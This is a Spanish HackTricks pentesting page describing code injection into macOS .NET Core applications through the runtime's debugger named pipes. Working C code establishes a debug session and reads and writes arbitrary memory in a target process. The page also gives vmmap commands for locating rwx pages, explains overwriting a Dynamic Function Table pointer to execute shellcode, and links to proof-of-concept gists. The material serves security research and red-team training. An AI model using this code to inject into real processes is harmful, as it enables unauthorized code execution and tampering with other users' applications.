mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
198 lines
12 KiB
Markdown
198 lines
12 KiB
Markdown
# Inyección de aplicaciones .Net en macOS
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Depuración de .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
|
|
|
|
### **Establecer una sesión de depuración** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
|
|
|
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado.\
|
|
Crea dos tuberías con nombres por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo).
|
|
|
|
Entonces, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
|
|
|
|
Lo primero que se requiere que haga un depurador es **crear una nueva sesión de depuración**. Esto se hace **enviando un mensaje a través de la tubería `out`** que comienza con una estructura `MessageHeader`, que podemos obtener del código fuente de .NET:
|
|
```c
|
|
struct MessageHeader
|
|
{
|
|
MessageType m_eType; // Type of message this is
|
|
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
|
|
DWORD m_dwId; // Message ID assigned by the sender of this message
|
|
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
|
|
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
|
|
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
|
|
// never read)
|
|
union {
|
|
struct {
|
|
DWORD m_dwMajorVersion; // Protocol version requested/accepted
|
|
DWORD m_dwMinorVersion;
|
|
} VersionInfo;
|
|
...
|
|
} TypeSpecificData;
|
|
|
|
BYTE m_sMustBeZero[8];
|
|
}
|
|
```
|
|
En el caso de una solicitud de nueva sesión, esta estructura se completa de la siguiente manera:
|
|
```c
|
|
static const DWORD kCurrentMajorVersion = 2;
|
|
static const DWORD kCurrentMinorVersion = 0;
|
|
|
|
// Set the message type (in this case, we're establishing a session)
|
|
sSendHeader.m_eType = MT_SessionRequest;
|
|
|
|
// Set the version
|
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
|
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
|
|
|
// Finally set the number of bytes which follow this header
|
|
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
|
```
|
|
Una vez construido, **enviamos esto al objetivo** utilizando la llamada al sistema `write`:
|
|
```c
|
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
|
```
|
|
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData` que contiene un GUID para identificar nuestra sesión:
|
|
```c
|
|
// All '9' is a GUID.. right??
|
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
|
|
|
// Send over the session request data
|
|
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
|
```
|
|
Al enviar nuestra solicitud de sesión, **leemos desde la tubería `out` una cabecera** que indicará **si** nuestra solicitud para establecer una sesión de depuración ha sido **exitosa** o no:
|
|
```c
|
|
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
|
```
|
|
### Leer memoria
|
|
|
|
Con una sesión de depuración establecida, es posible **leer memoria** utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para leer cierta memoria, el código principal necesario sería:
|
|
```c
|
|
bool readMemory(void *addr, int len, unsigned char **output) {
|
|
|
|
*output = (unsigned char *)malloc(len);
|
|
if (*output == NULL) {
|
|
return false;
|
|
}
|
|
|
|
sSendHeader.m_dwId++; // We increment this for each request
|
|
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
|
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
|
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
sSendHeader.m_cbDataBlock = 0;
|
|
|
|
// Write the header
|
|
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Read the response header
|
|
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Make sure that memory could be read before we attempt to read further
|
|
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
return false;
|
|
}
|
|
|
|
memset(*output, 0, len);
|
|
|
|
// Read the memory from the debugee
|
|
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
```
|
|
El código de prueba de concepto (POC) se encuentra [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
|
|
|
### Escribir en la memoria
|
|
```c
|
|
bool writeMemory(void *addr, int len, unsigned char *input) {
|
|
|
|
sSendHeader.m_dwId++; // We increment this for each request
|
|
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
|
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
|
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
sSendHeader.m_cbDataBlock = len;
|
|
|
|
// Write the header
|
|
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Write the data
|
|
if (write(wr, input, len) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Read the response header
|
|
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Ensure our memory write was successful
|
|
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
|
|
}
|
|
```
|
|
El código POC utilizado para hacer esto se puede encontrar [aquí](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
|
|
|
### Ejecución de código .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
|
|
|
Lo primero es identificar, por ejemplo, una región de memoria con permisos **`rwx`** en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:
|
|
```bash
|
|
vmmap -pages [pid]
|
|
vmmap -pages 35829 | grep "rwx/rwx"
|
|
```
|
|
Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
|
|
|
|
En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firmas** al estilo de mimikatz para buscar en **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al cual podemos desreferenciar:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
|
|
|
|
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código malicioso.
|
|
|
|
El código completo de POC utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
|
|
|
## Referencias
|
|
|
|
* Esta técnica fue tomada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|